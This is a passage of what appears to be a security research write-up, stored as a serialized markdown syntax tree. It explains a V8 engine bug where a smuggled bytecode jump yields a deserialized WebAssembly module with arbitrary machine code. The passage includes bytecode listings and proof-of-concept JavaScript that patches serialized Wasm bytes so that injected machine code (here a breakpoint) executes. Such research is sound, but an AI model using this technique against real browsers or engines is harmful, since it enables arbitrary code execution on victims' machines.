a16;\n}\n",[139903],{"type":24,"tag":284,"props":139904,"children":139905},{"__ignoreMap":7},[139906,139917,139965,139986,140002,140025,140053,140070],{"type":24,"tag":327,"props":139907,"children":139908},{"class":329,"line":330},[139909,139913],{"type":24,"tag":327,"props":139910,"children":139911},{"style":425},[139912],{"type":29,"value":55051},{"type":24,"tag":327,"props":139914,"children":139915},{"style":346},[139916],{"type":29,"value":497},{"type":24,"tag":327,"props":139918,"children":139919},{"class":329,"line":367},[139920,139925,139929,139934,139938,139943,139947,139952,139956,139960],{"type":24,"tag":327,"props":139921,"children":139922},{"style":356},[139923],{"type":29,"value":139924},"  $",{"type":24,"tag":327,"props":139926,"children":139927},{"style":346},[139928],{"type":29,"value":83345},{"type":24,"tag":327,"props":139930,"children":139931},{"style":844},[139932],{"type":29,"value":139933},"'a1 + 0xa931111;'",{"type":24,"tag":327,"props":139935,"children":139936},{"style":346},[139937],{"type":29,"value":66},{"type":24,"tag":327,"props":139939,"children":139940},{"style":340},[139941],{"type":29,"value":139942},"repeat",{"type":24,"tag":327,"props":139944,"children":139945},{"style":346},[139946],{"type":29,"value":349},{"type":24,"tag":327,"props":139948,"children":139949},{"style":397},[139950],{"type":29,"value":139951},"0x059302",{"type":24,"tag":327,"props":139953,"children":139954},{"style":381},[139955],{"type":29,"value":57976},{"type":24,"tag":327,"props":139957,"children":139958},{"style":397},[139959],{"type":29,"value":522},{"type":24,"tag":327,"props":139961,"children":139962},{"style":346},[139963],{"type":29,"value":139964},")}\n",{"type":24,"tag":327,"props":139966,"children":139967},{"class":329,"line":408},[139968,139973,139977,139982],{"type":24,"tag":327,"props":139969,"children":139970},{"style":356},[139971],{"type":29,"value":139972},"  a1",{"type":24,"tag":327,"props":139974,"children":139975},{"style":381},[139976],{"type":29,"value":4407},{"type":24,"tag":327,"props":139978,"children":139979},{"style":397},[139980],{"type":29,"value":139981}," 0x0402666c",{"type":24,"tag":327,"props":139983,"children":139984},{"style":346},[139985],{"type":29,"value":405},{"type":24,"tag":327,"props":139987,"children":139988},{"class":329,"line":421},[139989,139993,139998],{"type":24,"tag":327,"props":139990,"children":139991},{"style":425},[139992],{"type":29,"value":41914},{"type":24,"tag":327,"props":139994,"children":139995},{"style":397},[139996],{"type":29,"value":139997}," 0x393e91a",{"type":24,"tag":327,"props":139999,"children":140000},{"style":346},[140001],{"type":29,"value":405},{"type":24,"tag":327,"props":140003,"children":140004},{"class":329,"line":450},[140005,140009,140013,140017,140021],{"type":24,"tag":327,"props":140006,"children":140007},{"style":346},[140008],{"type":29,"value":53593},{"type":24,"tag":327,"props":140010,"children":140011},{"style":425},[140012],{"type":29,"value":55131},{"type":24,"tag":327,"props":140014,"children":140015},{"style":346},[140016],{"type":29,"value":5894},{"type":24,"tag":327,"props":140018,"children":140019},{"style":356},[140020],{"type":29,"value":58175},{"type":24,"tag":327,"props":140022,"children":140023},{"style":346},[140024],{"type":29,"value":364},{"type":24,"tag":327,"props":140026,"children":140027},{"class":329,"line":481},[140028,140032,140036,140040,140044,140049],{"type":24,"tag":327,"props":140029,"children":140030},{"style":356},[140031],{"type":29,"value":108671},{"type":24,"tag":327,"props":140033,"children":140034},{"style":346},[140035],{"type":29,"value":66},{"type":24,"tag":327,"props":140037,"children":140038},{"style":340},[140039],{"type":29,"value":108680},{"type":24,"tag":327,"props":140041,"children":140042},{"style":346},[140043],{"type":29,"value":349},{"type":24,"tag":327,"props":140045,"children":140046},{"style":844},[140047],{"type":29,"value":140048},"\"foo\"",{"type":24,"tag":327,"props":140050,"children":140051},{"style":346},[140052],{"type":29,"value":583},{"type":24,"tag":327,"props":140054,"children":140055},{"class":329,"line":500},[140056,140061,140066],{"type":24,"tag":327,"props":140057,"children":140058},{"style":425},[140059],{"type":29,"value":140060},"  yield",{"type":24,"tag":327,"props":140062,"children":140063},{"style":356},[140064],{"type":29,"value":140065}," a16",{"type":24,"tag":327,"props":140067,"children":140068},{"style":346},[140069],{"type":29,"value":405},{"type":24,"tag":327,"props":140071,"children":140072},{"class":329,"line":529},[140073],{"type":24,"tag":327,"props":140074,"children":140075},{"style":346},[140076],{"type":29,"value":592},{"type":24,"tag":25,"props":140078,"children":140079},{},[140080,140082],{"type":29,"value":140081},"Starting from the final ",{"type":24,"tag":284,"props":140083,"children":140085},{"className":140084},[],[140086],{"type":29,"value":139789},{"type":24,"tag":317,"props":140088,"children":140090},{"code":140089}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[140091],{"type":24,"tag":284,"props":140092,"children":140093},{"__ignoreMap":7},[140094],{"type":29,"value":140089},{"type":24,"tag":25,"props":140096,"children":140097},{},[140098,140100,140105,140107,140113],{"type":29,"value":140099},"The smuggled jump in ",{"type":24,"tag":284,"props":140101,"children":140103},{"className":140102},[],[140104],{"type":29,"value":139789},{"type":29,"value":140106}," will redirect us to ",{"type":24,"tag":284,"props":140108,"children":140110},{"className":140109},[],[140111],{"type":29,"value":140112},"1a e9 93 03",{"type":29,"value":140114},", which results in:",{"type":24,"tag":1380,"props":140116,"children":140117},{},[140118,140129],{"type":24,"tag":179,"props":140119,"children":140120},{},[140121,140127],{"type":24,"tag":284,"props":140122,"children":140124},{"className":140123},[],[140125],{"type":29,"value":140126},"Star r16",{"type":29,"value":140128}," (store accumulator to r16)",{"type":24,"tag":179,"props":140130,"children":140131},{},[140132,140137],{"type":24,"tag":284,"props":140133,"children":140135},{"className":140134},[],[140136],{"type":29,"value":139559},{"type":29,"value":140138}," past the throw into the catch relevant code",{"type":24,"tag":25,"props":140140,"children":140141},{},[140142,140144,140150],{"type":29,"value":140143},"This will bring us nicely to the final ",{"type":24,"tag":284,"props":140145,"children":140147},{"className":140146},[],[140148],{"type":29,"value":140149},"yield a16",{"type":29,"value":140151},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":24,"tag":235,"props":140153,"children":140155},{"id":140154},"executing-shellcode",[140156],{"type":29,"value":140157},"Executing Shellcode",{"type":24,"tag":25,"props":140159,"children":140160},{},[140161],{"type":29,"value":140162},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":24,"tag":317,"props":140164,"children":140166},{"code":140165,"language":42328,"meta":7,"className":42326,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[140167],{"type":24,"tag":284,"props":140168,"children":140169},{"__ignoreMap":7},[140170,140200,140427,140495,140502,140547,140593,140633,140640,140664,140701,140737],{"type":24,"tag":327,"props":140171,"children":140172},{"class":329,"line":330},[140173,140177,140182,140186,140190,140195],{"type":24,"tag":327,"props":140174,"children":140175},{"style":334},[140176],{"type":29,"value":41759},{"type":24,"tag":327,"props":140178,"children":140179},{"style":356},[140180],{"type":29,"value":140181}," wasm_code",{"type":24,"tag":327,"props":140183,"children":140184},{"style":381},[140185],{"type":29,"value":4809},{"type":24,"tag":327,"props":140187,"children":140188},{"style":334},[140189],{"type":29,"value":38643},{"type":24,"tag":327,"props":140191,"children":140192},{"style":340},[140193],{"type":29,"value":140194}," Uint8Array",{"type":24,"tag":327,"props":140196,"children":140197},{"style":346},[140198],{"type":29,"value":140199},"([\n",{"type":24,"tag":327,"props":140201,"children":140202},{"class":329,"line":367},[140203,140208,140212,140217,140221,140226,140230,140235,140239,140243,140247,140251,140255,140259,140263,140267,140271,140275,140279,140283,140287,140291,140295,140300,140304,140308,140312,140316,140320,140324,140328,140332,140336,140340,140344,140348,140352,140356,140360,140364,140368,140372,140376,140380,140384,140388,140392,140397,140401,140406,140410,140415,140419,140423],{"type":24,"tag":327,"props":140204,"children":140205},{"style":397},[140206],{"type":29,"value":140207},"  0",{"type":24,"tag":327,"props":140209,"children":140210},{"style":346},[140211],{"type":29,"value":2744},{"type":24,"tag":327,"props":140213,"children":140214},{"style":397},[140215],{"type":29,"value":140216},"97",{"type":24,"tag":327,"props":140218,"children":140219},{"style":346},[140220],{"type":29,"value":2744},{"type":24,"tag":327,"props":140222,"children":140223},{"style":397},[140224],{"type":29,"value":140225},"115",{"type":24,"tag":327,"props":140227,"children":140228},{"style":346},[140229],{"type":29,"value":2744},{"type":24,"tag":327,"props":140231,"children":140232},{"style":397},[140233],{"type":29,"value":140234},"109",{"type":24,"tag":327,"props":140236,"children":140237},{"style":346},[140238],{"type":29,"value":2744},{"type":24,"tag":327,"props":140240,"children":140241},{"style":397},[140242],{"type":29,"value":3238},{"type":24,"tag":327,"props":140244,"children":140245},{"style":346},[140246],{"type":29,"value":2744},{"type":24,"tag":327,"props":140248,"children":140249},{"style":397},[140250],{"type":29,"value":2988},{"type":24,"tag":327,"props":140252,"children":140253},{"style":346},[140254],{"type":29,"value":2744},{"type":24,"tag":327,"props":140256,"children":140257},{"style":397},[140258],{"type":29,"value":2988},{"type":24,"tag":327,"props":140260,"children":140261},{"style":346},[140262],{"type":29,"value":2744},{"type":24,"tag":327,"props":140264,"children":140265},{"style":397},[140266],{"type":29,"value":2988},{"type":24,"tag":327,"props":140268,"children":140269},{"style":346},[140270],{"type":29,"value":2744},{"type":24,"tag":327,"props":140272,"children":140273},{"style":397},[140274],{"type":29,"value":3238},{"type":24,"tag":327,"props":140276,"children":140277},{"style":346},[140278],{"type":29,"value":2744},{"type":24,"tag":327,"props":140280,"children":140281},{"style":397},[140282],{"type":29,"value":25038},{"type":24,"tag":327,"props":140284,"children":140285},{"style":346},[140286],{"type":29,"value":2744},{"type":24,"tag":327,"props":140288,"children":140289},{"style":397},[140290],{"type":29,"value":3238},{"type":24,"tag":327,"props":140292,"children":140293},{"style":346},[140294],{"type":29,"value":2744},{"type":24,"tag":327,"props":140296,"children":140297},{"style":397},[140298],{"type":29,"value":140299},"96",{"type":24,"tag":327,"props":140301,"children":140302},{"style":346},[140303],{"type":29,"value":2744},{"type":24,"tag":327,"props":140305,"children":140306},{"style":397},[140307],{"type":29,"value":2988},{"type":24,"tag":327,"props":140309,"children":140310},{"style":346},[140311],{"type":29,"value":2744},{"type":24,"tag":327,"props":140313,"children":140314},{"style":397},[140315],{"type":29,"value":2988},{"type":24,"tag":327,"props":140317,"children":140318},{"style":346},[140319],{"type":29,"value":2744},{"type":24,"tag":327,"props":140321,"children":140322},{"style":397},[140323],{"type":29,"value":24805},{"type":24,"tag":327,"props":140325,"children":140326},{"style":346},[140327],{"type":29,"value":2744},{"type":24,"tag":327,"props":140329,"children":140330},{"style":397},[140331],{"type":29,"value":10731},{"type":24,"tag":327,"props":140333,"children":140334},{"style":346},[140335],{"type":29,"value":2744},{"type":24,"tag":327,"props":140337,"children":140338},{"style":397},[140339],{"type":29,"value":3238},{"type":24,"tag":327,"props":140341,"children":140342},{"style":346},[140343],{"type":29,"value":2744},{"type":24,"tag":327,"props":140345,"children":140346},{"style":397},[140347],{"type":29,"value":2988},{"type":24,"tag":327,"props":140349,"children":140350},{"style":346},[140351],{"type":29,"value":2744},{"type":24,"tag":327,"props":140353,"children":140354},{"style":397},[140355],{"type":29,"value":61392},{"type":24,"tag":327,"props":140357,"children":140358},{"style":346},[140359],{"type":29,"value":2744},{"type":24,"tag":327,"props":140361,"children":140362},{"style":397},[140363],{"type":29,"value":62607},{"type":24,"tag":327,"props":140365,"children":140366},{"style":346},[140367],{"type":29,"value":2744},{"type":24,"tag":327,"props":140369,"children":140370},{"style":397},[140371],{"type":29,"value":3238},{"type":24,"tag":327,"props":140373,"children":140374},{"style":346},[140375],{"type":29,"value":2744},{"type":24,"tag":327,"props":140377,"children":140378},{"style":397},[140379],{"type":29,"value":25618},{"type":24,"tag":327,"props":140381,"children":140382},{"style":346},[140383],{"type":29,"value":2744},{"type":24,"tag":327,"props":140385,"children":140386},{"style":397},[140387],{"type":29,"value":140225},{"type":24,"tag":327,"props":140389,"children":140390},{"style":346},[140391],{"type":29,"value":2744},{"type":24,"tag":327,"props":140393,"children":140394},{"style":397},[140395],{"type":29,"value":140396},"104",{"type":24,"tag":327,"props":140398,"children":140399},{"style":346},[140400],{"type":29,"value":2744},{"type":24,"tag":327,"props":140402,"children":140403},{"style":397},[140404],{"type":29,"value":140405},"101",{"type":24,"tag":327,"props":140407,"children":140408},{"style":346},[140409],{"type":29,"value":2744},{"type":24,"tag":327,"props":140411,"children":140412},{"style":397},[140413],{"type":29,"value":140414},"108",{"type":24,"tag":327,"props":140416,"children":140417},{"style":346},[140418],{"type":29,"value":2744},{"type":24,"tag":327,"props":140420,"children":140421},{"style":397},[140422],{"type":29,"value":140414},{"type":24,"tag":327,"props":140424,"children":140425},{"style":346},[140426],{"type":29,"value":2231},{"type":24,"tag":327,"props":140428,"children":140429},{"class":329,"line":408},[140430,140434,140438,140442,140446,140450,140454,140458,140462,140466,140470,140474,140478,140482,140486,140491],{"type":24,"tag":327,"props":140431,"children":140432},{"style":397},[140433],{"type":29,"value":140207},{"type":24,"tag":327,"props":140435,"children":140436},{"style":346},[140437],{"type":29,"value":2744},{"type":24,"tag":327,"props":140439,"children":140440},{"style":397},[140441],{"type":29,"value":2988},{"type":24,"tag":327,"props":140443,"children":140444},{"style":346},[140445],{"type":29,"value":2744},{"type":24,"tag":327,"props":140447,"children":140448},{"style":397},[140449],{"type":29,"value":95980},{"type":24,"tag":327,"props":140451,"children":140452},{"style":346},[140453],{"type":29,"value":2744},{"type":24,"tag":327,"props":140455,"children":140456},{"style":397},[140457],{"type":29,"value":25038},{"type":24,"tag":327,"props":140459,"children":140460},{"style":346},[140461],{"type":29,"value":2744},{"type":24,"tag":327,"props":140463,"children":140464},{"style":397},[140465],{"type":29,"value":3238},{"type":24,"tag":327,"props":140467,"children":140468},{"style":346},[140469],{"type":29,"value":2744},{"type":24,"tag":327,"props":140471,"children":140472},{"style":397},[140473],{"type":29,"value":10731},{"type":24,"tag":327,"props":140475,"children":140476},{"style":346},[140477],{"type":29,"value":2744},{"type":24,"tag":327,"props":140479,"children":140480},{"style":397},[140481],{"type":29,"value":2988},{"type":24,"tag":327,"props":140483,"children":140484},{"style":346},[140485],{"type":29,"value":2744},{"type":24,"tag":327,"props":140487,"children":140488},{"style":397},[140489],{"type":29,"value":140490},"11",{"type":24,"tag":327,"props":140492,"children":140493},{"style":346},[140494],{"type":29,"value":2231},{"type":24,"tag":327,"props":140496,"children":140497},{"class":329,"line":421},[140498],{"type":24,"tag":327,"props":140499,"children":140500},{"style":346},[140501],{"type":29,"value":11348},{"type":24,"tag":327,"props":140503,"children":140504},{"class":329,"line":450},[140505,140509,140513,140517,140521,140526,140530,140534,140538,140543],{"type":24,"tag":327,"props":140506,"children":140507},{"style":334},[140508],{"type":29,"value":41759},{"type":24,"tag":327,"props":140510,"children":140511},{"style":356},[140512],{"type":29,"value":78349},{"type":24,"tag":327,"props":140514,"children":140515},{"style":381},[140516],{"type":29,"value":4809},{"type":24,"tag":327,"props":140518,"children":140519},{"style":334},[140520],{"type":29,"value":38643},{"type":24,"tag":327,"props":140522,"children":140523},{"style":356},[140524],{"type":29,"value":140525}," WebAssembly",{"type":24,"tag":327,"props":140527,"children":140528},{"style":346},[140529],{"type":29,"value":66},{"type":24,"tag":327,"props":140531,"children":140532},{"style":340},[140533],{"type":29,"value":92646},{"type":24,"tag":327,"props":140535,"children":140536},{"style":346},[140537],{"type":29,"value":349},{"type":24,"tag":327,"props":140539,"children":140540},{"style":356},[140541],{"type":29,"value":140542},"wasm_code",{"type":24,"tag":327,"props":140544,"children":140545},{"style":346},[140546],{"type":29,"value":583},{"type":24,"tag":327,"props":140548,"children":140549},{"class":329,"line":481},[140550,140554,140559,140563,140567,140571,140575,140580,140584,140589],{"type":24,"tag":327,"props":140551,"children":140552},{"style":334},[140553],{"type":29,"value":41759},{"type":24,"tag":327,"props":140555,"children":140556},{"style":356},[140557],{"type":29,"value":140558}," inst",{"type":24,"tag":327,"props":140560,"children":140561},{"style":381},[140562],{"type":29,"value":4809},{"type":24,"tag":327,"props":140564,"children":140565},{"style":334},[140566],{"type":29,"value":38643},{"type":24,"tag":327,"props":140568,"children":140569},{"style":356},[140570],{"type":29,"value":140525},{"type":24,"tag":327,"props":140572,"children":140573},{"style":346},[140574],{"type":29,"value":66},{"type":24,"tag":327,"props":140576,"children":140577},{"style":340},[140578],{"type":29,"value":140579},"Instance",{"type":24,"tag":327,"props":140581,"children":140582},{"style":346},[140583],{"type":29,"value":349},{"type":24,"tag":327,"props":140585,"children":140586},{"style":356},[140587],{"type":29,"value":140588},"mod",{"type":24,"tag":327,"props":140590,"children":140591},{"style":346},[140592],{"type":29,"value":583},{"type":24,"tag":327,"props":140594,"children":140595},{"class":329,"line":500},[140596,140600,140604,140608,140612,140616,140620,140624,140629],{"type":24,"tag":327,"props":140597,"children":140598},{"style":334},[140599],{"type":29,"value":41759},{"type":24,"tag":327,"props":140601,"children":140602},{"style":356},[140603],{"type":29,"value":86736},{"type":24,"tag":327,"props":140605,"children":140606},{"style":381},[140607],{"type":29,"value":4809},{"type":24,"tag":327,"props":140609,"children":140610},{"style":356},[140611],{"type":29,"value":140558},{"type":24,"tag":327,"props":140613,"children":140614},{"style":346},[140615],{"type":29,"value":66},{"type":24,"tag":327,"props":140617,"children":140618},{"style":356},[140619],{"type":29,"value":44599},{"type":24,"tag":327,"props":140621,"children":140622},{"style":346},[140623],{"type":29,"value":66},{"type":24,"tag":327,"props":140625,"children":140626},{"style":356},[140627],{"type":29,"value":140628},"shell",{"type":24,"tag":327,"props":140630,"children":140631},{"style":346},[140632],{"type":29,"value":405},{"type":24,"tag":327,"props":140634,"children":140635},{"class":329,"line":529},[140636],{"type":24,"tag":327,"props":140637,"children":140638},{"emptyLinePlaceholder":16},[140639],{"type":29,"value":544},{"type":24,"tag":327,"props":140641,"children":140642},{"class":329,"line":538},[140643,140647,140652,140656,140660],{"type":24,"tag":327,"props":140644,"children":140645},{"style":381},[140646],{"type":29,"value":63110},{"type":24,"tag":327,"props":140648,"children":140649},{"style":340},[140650],{"type":29,"value":140651},"WasmTierUpFunction",{"type":24,"tag":327,"props":140653,"children":140654},{"style":346},[140655],{"type":29,"value":349},{"type":24,"tag":327,"props":140657,"children":140658},{"style":356},[140659],{"type":29,"value":83027},{"type":24,"tag":327,"props":140661,"children":140662},{"style":346},[140663],{"type":29,"value":583},{"type":24,"tag":327,"props":140665,"children":140666},{"class":329,"line":547},[140667,140671,140676,140680,140685,140689,140693,140697],{"type":24,"tag":327,"props":140668,"children":140669},{"style":334},[140670],{"type":29,"value":41759},{"type":24,"tag":327,"props":140672,"children":140673},{"style":356},[140674],{"type":29,"value":140675}," serialized",{"type":24,"tag":327,"props":140677,"children":140678},{"style":381},[140679],{"type":29,"value":4809},{"type":24,"tag":327,"props":140681,"children":140682},{"style":381},[140683],{"type":29,"value":140684}," %",{"type":24,"tag":327,"props":140686,"children":140687},{"style":340},[140688],{"type":29,"value":139683},{"type":24,"tag":327,"props":140690,"children":140691},{"style":346},[140692],{"type":29,"value":349},{"type":24,"tag":327,"props":140694,"children":140695},{"style":356},[140696],{"type":29,"value":140588},{"type":24,"tag":327,"props":140698,"children":140699},{"style":346},[140700],{"type":29,"value":583},{"type":24,"tag":327,"props":140702,"children":140703},{"class":329,"line":557},[140704,140708,140712,140716,140720,140724,140728,140733],{"type":24,"tag":327,"props":140705,"children":140706},{"style":334},[140707],{"type":29,"value":19334},{"type":24,"tag":327,"props":140709,"children":140710},{"style":356},[140711],{"type":29,"value":16713},{"type":24,"tag":327,"props":140713,"children":140714},{"style":381},[140715],{"type":29,"value":4809},{"type":24,"tag":327,"props":140717,"children":140718},{"style":334},[140719],{"type":29,"value":38643},{"type":24,"tag":327,"props":140721,"children":140722},{"style":340},[140723],{"type":29,"value":140194},{"type":24,"tag":327,"props":140725,"children":140726},{"style":346},[140727],{"type":29,"value":349},{"type":24,"tag":327,"props":140729,"children":140730},{"style":356},[140731],{"type":29,"value":140732},"serialized",{"type":24,"tag":327,"props":140734,"children":140735},{"style":346},[140736],{"type":29,"value":583},{"type":24,"tag":327,"props":140738,"children":140739},{"class":329,"line":586},[140740,140745,140749,140753,140757,140762,140766,140770,140774,140779,140783,140788,140792,140796,140801],{"type":24,"tag":327,"props":140741,"children":140742},{"style":356},[140743],{"type":29,"value":140744},"console",{"type":24,"tag":327,"props":140746,"children":140747},{"style":346},[140748],{"type":29,"value":66},{"type":24,"tag":327,"props":140750,"children":140751},{"style":340},[140752],{"type":29,"value":108680},{"type":24,"tag":327,"props":140754,"children":140755},{"style":346},[140756],{"type":29,"value":349},{"type":24,"tag":327,"props":140758,"children":140759},{"style":844},[140760],{"type":29,"value":140761},"'['",{"type":24,"tag":327,"props":140763,"children":140764},{"style":381},[140765],{"type":29,"value":4407},{"type":24,"tag":327,"props":140767,"children":140768},{"style":356},[140769],{"type":29,"value":16713},{"type":24,"tag":327,"props":140771,"children":140772},{"style":346},[140773],{"type":29,"value":66},{"type":24,"tag":327,"props":140775,"children":140776},{"style":340},[140777],{"type":29,"value":140778},"join",{"type":24,"tag":327,"props":140780,"children":140781},{"style":346},[140782],{"type":29,"value":349},{"type":24,"tag":327,"props":140784,"children":140785},{"style":844},[140786],{"type":29,"value":140787},"', '",{"type":24,"tag":327,"props":140789,"children":140790},{"style":346},[140791],{"type":29,"value":1674},{"type":24,"tag":327,"props":140793,"children":140794},{"style":381},[140795],{"type":29,"value":394},{"type":24,"tag":327,"props":140797,"children":140798},{"style":844},[140799],{"type":29,"value":140800}," ']'",{"type":24,"tag":327,"props":140802,"children":140803},{"style":346},[140804],{"type":29,"value":583},{"type":24,"tag":25,"props":140806,"children":140807},{},[140808],{"type":29,"value":140809},"This produces the following output:",{"type":24,"tag":317,"props":140811,"children":140813},{"code":140812},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[140814],{"type":24,"tag":284,"props":140815,"children":140816},{"__ignoreMap":7},[140817],{"type":29,"value":140812},{"type":24,"tag":25,"props":140819,"children":140820},{},[140821,140823,140829,140831,140837,140839,140845,140846,140852,140854,140859],{"type":29,"value":140822},"The bytes ",{"type":24,"tag":284,"props":140824,"children":140826},{"className":140825},[],[140827],{"type":29,"value":140828},"85, 72, 137, 229, ...",{"type":29,"value":140830}," correspond to the x86-64 function prologue (",{"type":24,"tag":284,"props":140832,"children":140834},{"className":140833},[],[140835],{"type":29,"value":140836},"push rbp; mov rbp, rsp",{"type":29,"value":140838},"). We replace the first byte with ",{"type":24,"tag":284,"props":140840,"children":140842},{"className":140841},[],[140843],{"type":29,"value":140844},"0xcc",{"type":29,"value":23975},{"type":24,"tag":284,"props":140847,"children":140849},{"className":140848},[],[140850],{"type":29,"value":140851},"int3",{"type":29,"value":140853}," opcode), and use this modified buffer as the serialized input to ",{"type":24,"tag":284,"props":140855,"children":140857},{"className":140856},[],[140858],{"type":29,"value":139657},{"type":29,"value":1636},{"type":24,"tag":317,"props":140861,"children":140863},{"code":140862,"language":42328,"meta":7,"className":42326,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[140864],{"type":24,"tag":284,"props":140865,"children":140866},{"__ignoreMap":7},[140867,140890,140917,141137,141204,141212,141239,141453,141705,141956,142182,142426,142646,142653,142702,142747,142791,142830,142842],{"type":24,"tag":327,"props":140868,"children":140869},{"class":329,"line":330},[140870,140874,140878,140882,140886],{"type":24,"tag":327,"props":140871,"children":140872},{"style":346},[140873],{"type":29,"value":349},{"type":24,"tag":327,"props":140875,"children":140876},{"style":334},[140877],{"type":29,"value":42858},{"type":24,"tag":327,"props":140879,"children":140880},{"style":346},[140881],{"type":29,"value":46410},{"type":24,"tag":327,"props":140883,"children":140884},{"style":334},[140885],{"type":29,"value":9195},{"type":24,"tag":327,"props":140887,"children":140888},{"style":346},[140889],{"type":29,"value":497},{"type":24,"tag":327,"props":140891,"children":140892},{"class":329,"line":367},[140893,140897,140901,140905,140909,140913],{"type":24,"tag":327,"props":140894,"children":140895},{"style":334},[140896],{"type":29,"value":42901},{"type":24,"tag":327,"props":140898,"children":140899},{"style":356},[140900],{"type":29,"value":140181},{"type":24,"tag":327,"props":140902,"children":140903},{"style":381},[140904],{"type":29,"value":4809},{"type":24,"tag":327,"props":140906,"children":140907},{"style":334},[140908],{"type":29,"value":38643},{"type":24,"tag":327,"props":140910,"children":140911},{"style":340},[140912],{"type":29,"value":140194},{"type":24,"tag":327,"props":140914,"children":140915},{"style":346},[140916],{"type":29,"value":140199},{"type":24,"tag":327,"props":140918,"children":140919},{"class":329,"line":408},[140920,140925,140929,140933,140937,140941,140945,140949,140953,140957,140961,140965,140969,140973,140977,140981,140985,140989,140993,140997,141001,141005,141009,141013,141017,141021,141025,141029,141033,141037,141041,141045,141049,141053,141057,141061,141065,141069,141073,141077,141081,141085,141089,141093,141097,141101,141105,141109,141113,141117,141121,141125,141129,141133],{"type":24,"tag":327,"props":140921,"children":140922},{"style":397},[140923],{"type":29,"value":140924},"    0",{"type":24,"tag":327,"props":140926,"children":140927},{"style":346},[140928],{"type":29,"value":2744},{"type":24,"tag":327,"props":140930,"children":140931},{"style":397},[140932],{"type":29,"value":140216},{"type":24,"tag":327,"props":140934,"children":140935},{"style":346},[140936],{"type":29,"value":2744},{"type":24,"tag":327,"props":140938,"children":140939},{"style":397},[140940],{"type":29,"value":140225},{"type":24,"tag":327,"props":140942,"children":140943},{"style":346},[140944],{"type":29,"value":2744},{"type":24,"tag":327,"props":140946,"children":140947},{"style":397},[140948],{"type":29,"value":140234},{"type":24,"tag":327,"props":140950,"children":140951},{"style":346},[140952],{"type":29,"value":2744},{"type":24,"tag":327,"props":140954,"children":140955},{"style":397},[140956],{"type":29,"value":3238},{"type":24,"tag":327,"props":140958,"children":140959},{"style":346},[140960],{"type":29,"value":2744},{"type":24,"tag":327,"props":140962,"children":140963},{"style":397},[140964],{"type":29,"value":2988},{"type":24,"tag":327,"props":140966,"children":140967},{"style":346},[140968],{"type":29,"value":2744},{"type":24,"tag":327,"props":140970,"children":140971},{"style":397},[140972],{"type":29,"value":2988},{"type":24,"tag":327,"props":140974,"children":140975},{"style":346},[140976],{"type":29,"value":2744},{"type":24,"tag":327,"props":140978,"children":140979},{"style":397},[140980],{"type":29,"value":2988},{"type":24,"tag":327,"props":140982,"children":140983},{"style":346},[140984],{"type":29,"value":2744},{"type":24,"tag":327,"props":140986,"children":140987},{"style":397},[140988],{"type":29,"value":3238},{"type":24,"tag":327,"props":140990,"children":140991},{"style":346},[140992],{"type":29,"value":2744},{"type":24,"tag":327,"props":140994,"children":140995},{"style":397},[140996],{"type":29,"value":25038},{"type":24,"tag":327,"props":140998,"children":140999},{"style":346},[141000],{"type":29,"value":2744},{"type":24,"tag":327,"props":141002,"children":141003},{"style":397},[141004],{"type":29,"value":3238},{"type":24,"tag":327,"props":141006,"children":141007